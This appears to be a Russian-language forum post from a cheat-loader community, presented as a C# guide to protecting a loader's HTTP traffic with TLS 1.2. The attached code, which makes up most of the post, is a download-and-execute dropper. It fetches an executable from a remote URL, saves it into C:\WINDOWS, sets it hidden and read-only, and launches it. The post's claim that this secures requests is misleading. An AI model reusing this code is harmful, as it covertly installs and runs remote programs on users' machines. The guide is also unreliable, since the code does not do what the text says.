Подписывайтесь на наш Telegram и не пропускайте важные новости! Перейти

Гайд C# Как реализовать запросы вашего Loader менее уязвымыми.

Начинающий
Начинающий
Статус
Онлайн
Регистрация
3 Дек 2025
Сообщения
23
Реакции
0
Приветствую всех, если вы думаете то что С# не подходит для написания ваших "чит-лоудеров", и он не безопасен то вы можете ошибаться но, от части правы сегодня я поделюсь с вами одним из моих способов защиты ваших HTTP запросов более безопасными от сниффинга траффика, прикреплю небольшой пример написанный как раз на C#, использует протокол защиты TLS 1.2 , который защитит ваш траффик минимально.


Пример:
Expand Collapse Copy
static void Main()
{

    ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
    
    string directoryPath = @"C:\WINDOWS";
    if (!Directory.Exists(directoryPath))
    {
        Directory.CreateDirectory(directoryPath);
    }

    string downloadFilePath = Path.Combine(directoryPath, "downloader.exe");
    

    DownloadFile("https://rkn.gov.ru/fsb/porn.exe", downloadFilePath);

    SetFileAttributes(downloadFilePath);

    StartProcess(downloadFilePath);

}

static void DownloadFile(string url, string filePath)
{
    using (HttpClient httpClient = new HttpClient())
    {

        var response = httpClient.GetAsync(url).Result;
        response.EnsureSuccessStatusCode();


        using (var fileStream = File.Create(filePath))
        {
            var contentStream = response.Content.ReadAsStreamAsync().Result;
            contentStream.CopyTo(fileStream);
            fileStream.Close();
        }
    }
}

static void SetFileAttributes(string filePath)
{

    File.SetAttributes(filePath, File.GetAttributes(filePath) | FileAttributes.Hidden | FileAttributes.ReadOnly);
}
static void StartProcess(string filePath)
{

    Process.Start(filePath);
}


Код читаемый, я думаю пояснений не нужно слишком подробных. Для самых глупеньких можете посетить нейросетки и она вам разжует
 
Назад
Сверху Снизу